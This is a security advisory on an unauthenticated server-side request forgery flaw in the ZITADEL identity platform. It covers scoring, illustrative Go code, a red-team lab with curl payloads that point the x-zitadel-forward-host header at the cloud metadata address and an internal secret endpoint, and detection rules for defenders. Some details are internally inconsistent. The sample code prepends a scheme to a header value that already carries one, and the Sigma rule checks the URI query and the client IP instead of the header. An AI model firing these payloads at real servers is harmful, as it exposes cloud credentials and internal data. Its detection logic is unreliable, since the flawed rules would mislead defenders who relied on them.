CVE-2025-67494

Executive Summary

CVE-2025-67494 is a critical unauthenticated Server-Side Request Forgery (SSRF) vulnerability in ZITADEL, an open-source identity infrastructure tool. Versions 4.7.0 and below are affected. The vulnerability resides in the ZITADEL Login UI (V2), which incorrectly trusts the x-zitadel-forward-host header as a fallback for all deployments, including self-hosted instances. An unauthenticated attacker can exploit this by sending a crafted request with a malicious x-zitadel-forward-host header, forcing the server to make HTTP requests to arbitrary internal or external domains and read the responses. This allows data exfiltration and bypassing network-segmentation controls. The vulnerability has a CVSS score of 9.3 (Critical) and a public proof-of-concept exists. The fix is available in version 4.7.1.

Supply Chain & Package Security

ZITADEL is distributed as a Go binary and Docker image. The vulnerability is in the application code itself, not in a dependency. However, organizations using ZITADEL should verify their deployment version and ensure they are not using a compromised or backdoored container image. The official Docker image zitadel/zitadel should be updated to version 4.7.1 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 9.3 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) - Complete loss of confidentiality, allowing full read access to internal resources.
• Integrity (I): None (N) - No impact on data integrity.
• Availability (A): None (N) - No impact on system availability.

Threat Level: Critical. The vulnerability allows an unauthenticated attacker to read internal resources, potentially including cloud metadata, internal services, and sensitive configuration data.

Deep Dive & Mechanics

The ZITADEL Login UI (V2) uses the x-zitadel-forward-host header to determine the host to which it should forward authentication requests. In versions 4.7.0 and below, this header is trusted as a fallback for all deployments, including self-hosted instances. This means that when the Login UI receives a request, it checks for the presence of this header and, if found, uses its value to construct the URL for subsequent HTTP requests.

An attacker can exploit this by sending a request to the ZITADEL Login UI with a crafted x-zitadel-forward-host header pointing to an internal IP address (e.g., http://169.254.169.254 for cloud metadata) or an arbitrary external domain. The server will then make an HTTP request to that address and return the response to the attacker. This allows the attacker to read sensitive data from internal services, such as cloud provider metadata, internal APIs, or other network-accessible resources.

The vulnerability is particularly dangerous because it requires no authentication and can be used to bypass network segmentation controls. The fix in version 4.7.1 removes the trust of this header for all deployments, ensuring it is only used in specific, controlled environments (e.g., when behind a reverse proxy that sets the header).

Vulnerable vs. Patched Code

Vulnerable Code (version 4.7.0 and below): The Login UI handler directly uses the x-zitadel-forward-host header to construct the forward URL without validation.

// Vulnerable handler
func handleLogin(w http.ResponseWriter, r *http.Request) {
    forwardHost := r.Header.Get("x-zitadel-forward-host")
    if forwardHost == "" {
        forwardHost = defaultHost
    }
    // Use forwardHost to make internal HTTP requests
    resp, err := http.Get("http://" + forwardHost + "/internal/api")
    // ...
}

Patched Code (version 4.7.1): The patched code validates the x-zitadel-forward-host header against a whitelist of allowed hosts or removes the fallback entirely.

// Patched handler
func handleLogin(w http.ResponseWriter, r *http.Request) {
    forwardHost := r.Header.Get("x-zitadel-forward-host")
    if forwardHost != "" && !isAllowedForwardHost(forwardHost) {
        http.Error(w, "Forbidden", http.StatusForbidden)
        return
    }
    if forwardHost == "" {
        forwardHost = defaultHost
    }
    // Use forwardHost to make internal HTTP requests
    resp, err := http.Get("http://" + forwardHost + "/internal/api")
    // ...
}

func isAllowedForwardHost(host string) bool {
    allowedHosts := []string{"trusted-proxy.example.com", "another-trusted-host.com"}
    for _, allowed := range allowedHosts {
        if host == allowed {
            return true
        }
    }
    return false
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy a vulnerable ZITADEL instance (version 4.7.0) using Docker:

   docker run -d --name zitadel-vuln -p 8080:8080 zitadel/zitadel:4.7.0
   

2. Ensure the instance is accessible from the attacker machine.

Exploitation Steps:

1. Send a crafted request to the ZITADEL Login UI with a malicious x-zitadel-forward-host header:

   curl -v -H "x-zitadel-forward-host: http://169.254.169.254" http://target:8080/login
   

2. The server will make a request to the cloud metadata endpoint and return the response.
3. To exfiltrate data from an internal service, use:

   curl -v -H "x-zitadel-forward-host: http://internal-service.local:8080/secret" http://target:8080/login
   

Expected Output: The response will contain the data from the internal resource, allowing the attacker to read sensitive information.

Blue Team (Defender)

Detection:

• Monitor for requests containing the x-zitadel-forward-host header with suspicious values (e.g., internal IPs, cloud metadata endpoints).
• Look for unusual outbound HTTP requests from the ZITADEL server to internal or external addresses.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Immediately upgrade to ZITADEL version 4.7.1 or later.
• If upgrading is not possible, implement a WAF rule to block requests with the x-zitadel-forward-host header.
• Restrict outbound network access from the ZITADEL server to only necessary services.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing the x-zitadel-forward-host header with internal IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254).
  • Outbound HTTP requests from the ZITADEL server to unexpected internal or external domains.
• Log IOCs:
  • Log entries showing the x-zitadel-forward-host header in requests to the Login UI.
  • Unusual HTTP response sizes or error codes from the Login UI.
• File IOCs:
  • No specific file IOCs, as the vulnerability is network-based.

Detection Engineering

YARA Rule

rule CVE_2025_67494_SSRF_Header {
    meta:
        description = "Detects requests with the x-zitadel-forward-host header used in CVE-2025-67494"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67494"
    strings:
        $header = "x-zitadel-forward-host"
        $internal_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
    condition:
        $header and $internal_ip
}

Sigma Rule

title: CVE-2025-67494 SSRF via x-zitadel-forward-host Header
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with the x-zitadel-forward-host header pointing to internal IPs
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-67494
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "x-zitadel-forward-host"
        c-ip|contains:
            - "10."
            - "172.16."
            - "172.17."
            - "172.18."
            - "172.19."
            - "172.20."
            - "172.21."
            - "172.22."
            - "172.23."
            - "172.24."
            - "172.25."
            - "172.26."
            - "172.27."
            - "172.28."
            - "172.29."
            - "172.30."
            - "172.31."
            - "192.168."
            - "169.254."
    condition: selection
falsepositives:
    - Legitimate use of the header in controlled environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67494 SSRF via x-zitadel-forward-host Header"; flow:to_server; http.header_names; content:"x-zitadel-forward-host"; http.header_values; content:"169.254.169.254"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Upgrade ZITADEL to version 4.7.1 or later immediately.
2. WAF Rule: If upgrading is not possible, deploy a Web Application Firewall (WAF) rule to block requests containing the x-zitadel-forward-host header.
3. Network Segmentation: Restrict outbound network access from the ZITADEL server to only necessary services using firewall rules or network policies.

Long-Term Measures:

1. Input Validation: Implement strict validation of all HTTP headers, especially those used for routing or forwarding.
2. Least Privilege: Ensure the ZITADEL server runs with the least privileges necessary and cannot access sensitive internal resources.
3. Monitoring: Continuously monitor for SSRF attempts using the detection rules provided.
4. Security Audits: Regularly audit code for SSRF vulnerabilities and other injection flaws.

Valters IT